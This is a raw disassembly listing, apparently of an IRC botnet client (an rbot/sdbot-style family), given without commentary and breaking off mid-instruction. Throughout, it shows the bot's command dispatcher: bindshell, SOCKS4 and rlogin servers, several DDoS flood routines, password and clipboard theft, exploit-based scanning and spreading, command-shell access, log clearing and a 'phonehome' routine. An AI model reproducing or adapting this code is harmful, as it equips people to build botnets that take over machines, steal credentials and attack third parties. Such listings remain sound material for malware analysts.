loc_4027FA: ; CODE XREF: sub_401AA1+D42j call sub_41BF52 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40280E: ; CODE XREF: sub_401AA1+D57j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B650 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BC00 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BC60 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_418584 push edi push [ebp+arg_0] call sub_41BF70 add esp, 30h loc_40286A: ; CODE XREF: sub_401AA1+CD4j test eax, eax jnz loc_40277A mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BC60 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BC60 mov edi, offset asc_42F5E8 ; " " lea eax, [ebp+var_4EF8] push edi push eax call sub_41C764 add esp, 20h mov [ebp+var_90], eax mov [ebp+arg_10], 1 loc_4028BD: ; CODE XREF: sub_401AA1+E36j push edi push ebx call sub_41C764 pop ecx pop ecx mov ecx, [ebp+arg_10] inc [ebp+arg_10] cmp [ebp+arg_10], 20h mov [ebp+ecx*4+var_90], eax jl short loc_4028BD lea eax, [ebp+esi+var_90] mov ecx, [eax] cmp ecx, ebx jz loc_401F20 add ecx, 3 mov [eax], ecx loc_4028EF: ; CODE XREF: sub_401AA1+C5Cj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40951A push edi push offset aRn ; "rn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40951A push edi push offset aDi3 ; "di3" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40497C push edi push offset aDi3 ; "di3" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40497C push edi push offset aLogout ; "logout" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048D8 push edi push offset aLo ; "lo" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048D8 push edi push offset aVersion ; "version" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048C9 push edi push offset aVer ; "ver" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048C9 push edi push offset aRulez ; "rulez" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048BF push edi push offset aRz ; "rz" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048BF push edi push offset aSpeedtest ; "speedtest" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048A6 push edi push offset aSt ; "st" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4048A6 push edi push offset aSecure ; "secure" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4047A9 push edi push offset aSec ; "sec" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4047A9 push edi push offset aUnsecure ; "unsecure" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4047A9 push edi push offset aUnsec ; "unsec" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4047A9 push edi push offset aBindshell ; "bindshell" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4046A4 push edi push offset aBd ; "bd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4046A4 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402A9C push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42F240 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402A9C: ; CODE XREF: sub_401AA1+FE1j push edi push offset aSocks4 ; "socks4" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404583 push edi push offset aS4 ; "s4" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404583 push edi push offset aSocks4stop ; "socks4stop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402AEF push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42F218 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402AEF: ; CODE XREF: sub_401AA1+1034j push edi push offset aRloginstop ; "rloginstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402B18 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42F1E0 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402B18: ; CODE XREF: sub_401AA1+105Dj push edi push offset aHttpstop ; "httpstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402B41 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42F1B4 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402B41: ; CODE XREF: sub_401AA1+1086j push edi push offset aLogstop ; "logstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402B6A push [ebp+esi+var_8C] push 25h push offset dword_42F1A0 push offset dword_42F17C jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402B6A: ; CODE XREF: sub_401AA1+10AFj push edi push offset aRedirectstop ; "redirectstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402B93 push [ebp+esi+var_8C] push 18h push offset dword_42F15C push offset dword_42F14C jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_401AA1+10D8j push edi push offset dword_42F140 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402BBC push [ebp+esi+var_8C] push 0Dh push offset dword_42F134 push offset dword_42F128 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402BBC: ; CODE XREF: sub_401AA1+1101j push edi push offset aSynstop ; "synstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402BE5 push [ebp+esi+var_8C] push 0Eh push offset dword_42F114 push offset dword_42F108 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_401AA1+112Aj push edi push offset aSkysynstop ; "skysynstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402C0E push [ebp+esi+var_8C] push 10h push offset dword_42F0EC push offset dword_42F0DC jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402C0E: ; CODE XREF: sub_401AA1+1153j push edi push offset aTarga3stop ; "targa3stop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402C37 push [ebp+esi+var_8C] push 11h push offset dword_42F0C0 push offset dword_42F0B0 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402C37: ; CODE XREF: sub_401AA1+117Cj push edi push offset aWonkstop ; "wonkstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402C60 push [ebp+esi+var_8C] push 12h push offset dword_42F098 push offset dword_42F08C jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402C60: ; CODE XREF: sub_401AA1+11A5j push edi push offset aPacketstop ; "packetstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_402DB6 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42F134 push offset dword_42F128 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC push esi push 0Eh push offset dword_42F114 push offset dword_42F108 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC add esp, 40h push esi push 17h push offset dword_42F074 push offset dword_42F068 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC push esi push 16h push offset dword_42F05C push offset dword_42F050 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC add esp, 40h push esi push 11h push offset dword_42F0C0 push offset dword_42F0B0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC push esi push 12h push offset dword_42F098 push offset dword_42F08C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC add esp, 40h push esi push 0Fh push offset dword_42F040 push offset dword_42F030 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC push esi push 13h push offset dword_42F020 push offset dword_42F010 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC add esp, 40h push esi push 10h push offset dword_42F0EC push offset dword_42F0DC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B4DC push ebx push [ebp+var_4] push offset unk_42EFDC push [ebp+var_88] push edi call sub_409743 add esp, 34h jmp loc_401F20 ; --------------------------------------------------------------------------- loc_402DB6: ; CODE XREF: sub_401AA1+11CEj push edi push offset aTsunamistop ; "tsunamistop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402DDF push [ebp+esi+var_8C] push 0Fh push offset dword_42F040 push offset dword_42F030 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402DDF: ; CODE XREF: sub_401AA1+1324j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402E08 push [ebp+esi+var_8C] push 13h push offset dword_42F020 push offset dword_42F010 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402E08: ; CODE XREF: sub_401AA1+134Dj push edi push offset aUdpstop ; "udpstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402E31 push [ebp+esi+var_8C] push 17h push offset dword_42F074 push offset dword_42F068 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402E31: ; CODE XREF: sub_401AA1+1376j push edi push offset aPingstop ; "pingstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402E5A push [ebp+esi+var_8C] push 16h push offset dword_42F05C push offset dword_42F050 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402E5A: ; CODE XREF: sub_401AA1+139Fj push edi push offset aTftpstop ; "tftpstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402E83 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42EF94 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402E83: ; CODE XREF: sub_401AA1+13C8j push edi push offset aFindfilestop ; "findfilestop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40456B push edi push offset aFfstop ; "ffstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40456B push edi push offset aProcsstop ; "procsstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404553 push edi push offset aPsstop ; "psstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404553 push edi push offset aClonestop ; "clonestop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402F00 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42EF44 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402F00: ; CODE XREF: sub_401AA1+1445j push edi push offset aSecurestop ; "securestop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402F29 push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42EF08 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402F29: ; CODE XREF: sub_401AA1+146Ej push edi push offset aScanstop ; "scanstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402F52 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42EED0 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_402F52: ; CODE XREF: sub_401AA1+1497j push edi push offset aScanstats ; "scanstats" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40453D push edi push offset aStats ; "stats" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40453D push edi push offset aTransferstats ; "transferstats" call sub_41C6E0 pop ecx test eax, eax loc_402F8A: ; DATA XREF: .XPack:004FBE4Bo pop ecx jz loc_404527 push edi push offset aTrstats ; "trstats" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404527 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404511 push edi push offset aCbstats ; "cbstats" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404511 push edi push offset aExploitlist ; "exploitlist" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044FB push edi push offset aExplist ; "explist" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044FB push edi push offset aReconnect ; "reconnect" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044DC push edi push offset aR ; "r" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044DC push edi push offset aDisconnect ; "disconnect" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044BA push edi push offset aDc ; "dc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4044BA push edi push offset aQuit_0 ; "quit" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404471 push edi push offset aQ ; "q" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404471 push edi push offset aStatus ; "status" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404433 push edi push offset aS_1 ; "s" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404433 push edi push offset aId ; "id" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4043FC push edi push offset aI ; "i" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4043FC push edi push offset aR3start ; "r3start" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40311E call sub_4189C2 test eax, eax mov eax, offset dword_42EDF0 jnz short loc_4030F0 mov eax, offset dword_42EDB0 loc_4030F0: ; CODE XREF: sub_401AA1+1648j push eax lea eax, [ebp+var_2C0] push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 1Ch jmp loc_402399 ; --------------------------------------------------------------------------- loc_40311E: ; CODE XREF: sub_401AA1+163Aj push edi push offset aThreads ; "threads" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40430F push edi push offset aT ; "t" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40430F push edi push offset aAliases ; "aliases" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4042EC push edi push offset aAl ; "al" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4042EC push edi push offset aLog ; "log" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041FD push edi push offset aLg ; "lg" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041FD push edi push offset aClearlog ; "clearlog" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041E1 push edi push offset aClg ; "clg" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041E1 push edi push offset aNetinfo ; "netinfo" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041A7 push edi push offset aNi ; "ni" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4041A7 push edi push offset aSysinfo ; "sysinfo" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40417C push edi push offset aSi ; "si" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40417C push edi push offset aKh4l3d ; "Kh4l3d" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404142 push edi push offset aL4m3rz ; "l4m3rz" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404142 push edi push offset aProcs ; "procs" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404023 push edi push offset aPs ; "ps" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_404023 push edi push offset aUptime ; "uptime" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F9C push edi push offset aUp ; "up" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F9C push edi push offset aDriveinfo ; "driveinfo" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F7F push edi push offset aDrv ; "drv" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F7F push edi push offset aTestdlls ; "testdlls" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F66 push edi push offset aDll ; "dll" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403F66 push edi push offset aOpencmd ; "opencmd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403EF2 push edi push offset aOcmd ; "ocmd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403EF2 push edi push offset aCmdstop ; "cmdstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40333F push [ebp+esi+var_8C] push 0Ah push offset dword_42ECF8 push offset dword_42ECD4 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_40333F: ; CODE XREF: sub_401AA1+1884j push edi push offset dword_42ECD0 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_403455 cmp [ebp+var_8], ebx jnz short loc_403373 push ebx push [ebp+var_4] push offset dword_42ECA4 push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_403373: ; CODE XREF: sub_401AA1+18B6j mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_403380 ; --------------------------------------------------------------------------- loc_40337D: ; CODE XREF: sub_401AA1+1926j mov eax, [ebp+arg_18] loc_403380: ; CODE XREF: sub_401AA1+18DAj cmp [eax], bl jz short loc_403387 inc eax jmp short loc_40338C ; --------------------------------------------------------------------------- loc_403387: ; CODE XREF: sub_401AA1+18E1j mov eax, offset dword_42EC9C loc_40338C: ; CODE XREF: sub_401AA1+18E4j push eax push edi lea eax, [ebp+var_2C0] push offset dword_42EC94 push eax call sub_41BEF6 push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_40337D push offset dword_42EC50 call sub_415F45 pop ecx loc_4033D4: ; CODE XREF: sub_401AA1+1BB7j ; sub_401AA1+2EEFj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F20 push [ebp+arg_8] loc_4033E9: ; DATA XREF: sub_4F9FE9+251w push offset aSpoof ; "spoof" call sub_41C6E0 pop ecx test eax, eax loc_4033F6: ; DATA XREF: sub_4F9FE9+262w pop ecx jnz loc_404A9C push offset aOff ; "off" push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4049A2 lea eax, [ebp+var_2C0] push offset unk_42EC18 push eax mov dword_4D1A8C, ebx call sub_41BEF6 loc_403429: ; DATA XREF: .XPack:004FB5A5r ; .XPack:loc_4FB5BFr ... pop ecx loc_40342A: ; DATA XREF: .XPack:004FB5F1r ; .XPack:loc_4FB60Cr ... pop ecx loc_40342B: ; CODE XREF: sub_401AA1+2FA2j ; sub_401AA1+2FC8j ... cmp [ebp+var_8], ebx jnz loc_409567 push ebx loc_403435: ; DATA XREF: sub_4F9FE9+3Fr lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 loc_40344D: ; CODE XREF: sub_401AA1+6F23j ; sub_401AA1+6F89j add esp, 14h jmp loc_409567 ; --------------------------------------------------------------------------- loc_403455: ; CODE XREF: sub_401AA1+18ADj push edi push offset aGetclip ; "getclip" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403EB1 push edi push offset aGc ; "gc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403EB1 push edi push offset aFlusharp ; "flusharp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E94 push edi push offset aFarp ; "farp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E94 push edi push offset aFlushdns ; "flushdns" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E56 push edi push offset aFdns ; "fdns" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E56 push edi push offset aCurrentip ; "currentip" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E1C push edi push offset aCip ; "cip" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403E1C push edi push offset aRloginserver ; "rloginserver" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403CC0 push edi push offset aRlogin ; "rlogin" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403CC0 push edi push offset aHttpserver ; "httpserver" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403B4B loc_40353C: ; DATA XREF: sub_4F9DFA+1BCw ; sub_4F9FE9:loc_4FA016r ... push edi push offset aHttp ; "http" call sub_41C6E0 pop ecx loc_403548: ; DATA XREF: sub_4F9FE9+EAw ; sub_4FA44C+3r ... test eax, eax pop ecx jz loc_403B4B push edi push offset aTftpserver ; "tftpserver" call sub_41C6E0 loc_40355C: ; DATA XREF: sub_4FBC60+3Cr pop ecx test eax, eax pop ecx loc_403560: ; DATA XREF: sub_4FBC60+9Er jz loc_403A1A push edi push offset aTftp ; "tftp" loc_40356C: ; DATA XREF: .XPack:004FA8EAr call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403A1A push edi loc_40357C: ; DATA XREF: sub_4FBC60+7r push offset aShitycrash ; "shitycrash" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_4035E1 lea eax, [ebp+var_2C0] push offset dword_42EB54 push eax loc_403598: ; DATA XREF: .XPack:004FA315o call sub_41BEF6 cmp [ebp+var_8], ebx loc_4035A0: ; DATA XREF: sub_4FBC60+BDr pop ecx pop ecx jnz short loc_4035C0 loc_4035A4: ; DATA XREF: .XPack:004FA82Cr ; .XPack:004FACD4r push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4035B8: ; DATA XREF: sub_4FC19C+3Br call sub_409743 add esp, 14h loc_4035C0: ; CODE XREF: sub_401AA1+1B01j lea eax, [ebp+var_2C0] push eax call sub_415F45 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41C6E0 loc_4035DC: ; DATA XREF: sub_4F9FE9+257r ; .XPack:004FA8B5r jmp loc_4096B0 ; --------------------------------------------------------------------------- loc_4035E1: ; CODE XREF: sub_401AA1+1AE9j push edi push offset aScanall ; "scanall" call sub_41C6E0 pop ecx test eax, eax pop ecx loc_4035F0: ; DATA XREF: sub_4FA7E7+24r jz loc_403713 push edi push offset aSa ; "sa" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_403713 push edi push offset aPhonehome ; "phonehome" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_403638 lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_4096FD loc_403630: ; CODE XREF: sub_401AA1+452j add esp, 0Ch jmp loc_401F20 ; --------------------------------------------------------------------------- loc_403638: ; CODE XREF: sub_401AA1+1B79j push edi push offset aFindpass ; "findpass" call sub_41C6E0 pop ecx test eax, eax loc_403646: ; DATA XREF: sub_4FA9AFr sub_4FA9AF+Bw pop ecx jz short loc_40365E push edi push offset aFp ; "fp" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4033D4 loc_40365E: ; CODE XREF: sub_401AA1+1BA6j push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] push offset unk_42EAD4 mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 push ebx lea eax, [ebp+var_2C0] push 26h push eax call sub_40B254 add esp, 24h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4174AA push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_403706 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42EA98 jmp loc_40823D ; --------------------------------------------------------------------------- loc_4036FE: ; CODE XREF: sub_401AA1+1C6Bj push 32h call dword_428080 ; Sleep loc_403706: ; CODE XREF: sub_401AA1+1C4Aj cmp [ebp+var_F60], ebx jz short loc_4036FE jmp loc_402399 ; --------------------------------------------------------------------------- loc_403713: ; CODE XREF: sub_401AA1:loc_4035F0j ; sub_401AA1+1B64j mov al, byte_43423A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43423A jz loc_401F20 mov ecx, edx loc_40372A: ; CODE XREF: sub_401AA1+1C91j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40372A cmp al, bl jz loc_401F20 mov [ebp+arg_18], edx loc_40373F: ; CODE XREF: sub_401AA1+1F52j push 0Bh call sub_40B496 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403792 push ecx lea eax, [ebp+var_2C0] push offset dword_42EA30 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 20h jmp loc_4039EA ; --------------------------------------------------------------------------- loc_403792: ; CODE XREF: sub_401AA1+1CBCj or [ebp+var_730], 0FFFFFFFFh cmp dword_434058, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_4037FF mov eax, [ebp+arg_18] mov esi, offset dword_434058 lea edi, [eax-0Ah] loc_4037C9: ; CODE XREF: sub_401AA1+1D40j lea eax, [esi-28h] push edi push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4037E5 inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_4037C9 jmp short loc_4037FF ; --------------------------------------------------------------------------- loc_4037E5: ; CODE XREF: sub_401AA1+1D36j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_434058[ecx] mov [ebp+var_74C], ecx loc_4037FF: ; CODE XREF: sub_401AA1+1D1Bj ; sub_401AA1+1D42j cmp [ebp+var_74C], ebx jz loc_403A10 push 10h lea eax, [ebp+var_2CC] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2CC], esi push [ebp+arg_4] call dword_4CE2AC ; getsockname mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_860] push eax call sub_41BC60 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C4B0 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_4038A7 loc_403885: ; CODE XREF: sub_401AA1+1E04j cmp eax, ebx jz short loc_4038A7 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C4B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_403885 loc_4038A7: ; CODE XREF: sub_401AA1+1DE2j ; sub_401AA1+1DE6j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41BFF0 push offset byte_4404C4 push offset asc_42AAA4 ; "#l" call sub_41C6E0 add esp, 14h test eax, eax jz short loc_403914 push offset asc_42AAA4 ; "#l" lea eax, [ebp+var_7D0] push 80h push eax call sub_41BFF0 add esp, 0Ch jmp short loc_40391A ; --------------------------------------------------------------------------- loc_403914: ; CODE XREF: sub_401AA1+1E56j mov [ebp+var_7D0], bl loc_40391A: ; CODE XREF: sub_401AA1+1E71j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_40392C mov eax, offset aSequential ; "Sequential" loc_40392C: ; CODE XREF: sub_401AA1+1E84j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C0] loc_403952: ; DATA XREF: sub_4FBC60+16w ; sub_4FC19C+53r push offset dword_42E970 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B254 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40C485 loc_403986: ; DATA XREF: .XPack:004FB5C7w ; .XPack:004FBA0Cr ... push ebx push ebx call dword_428084 ; CreateThread loc_40398E: ; DATA XREF: sub_4FB1AB+20w ; sub_4FB21A+6w ... mov ecx, [ebp+var_740] imul ecx, 234h loc_40399A: ; DATA XREF: .XPack:004FB43Cw ; .XPack:004FB97Dr cmp eax, ebx mov dword_44125C[ecx], eax loc_4039A2: ; DATA XREF: .XPack:loc_4FB637w ; .XPack:004FB9F4r jnz short loc_403A06 call dword_428094 ; RtlGetLastWin32Error loc_4039AA: ; DATA XREF: sub_4FB164+8w ; sub_4FB164+36w ... push eax lea eax, [ebp+var_2C0] push offset dword_42E910 loc_4039B6: ; DATA XREF: sub_4F9FE9+51r push eax call sub_41BEF6 add esp, 0Ch loc_4039BF: ; CODE XREF: sub_401AA1+1F6Dj cmp edi, ebx jnz short loc_4039DD push ebx lea eax, [ebp+var_2C0] loc_4039CA: ; DATA XREF: sub_4FBBE3-43w ; sub_4FBBE3-15r push esi push eax push [ebp+var_88] push [ebp+arg_4] call 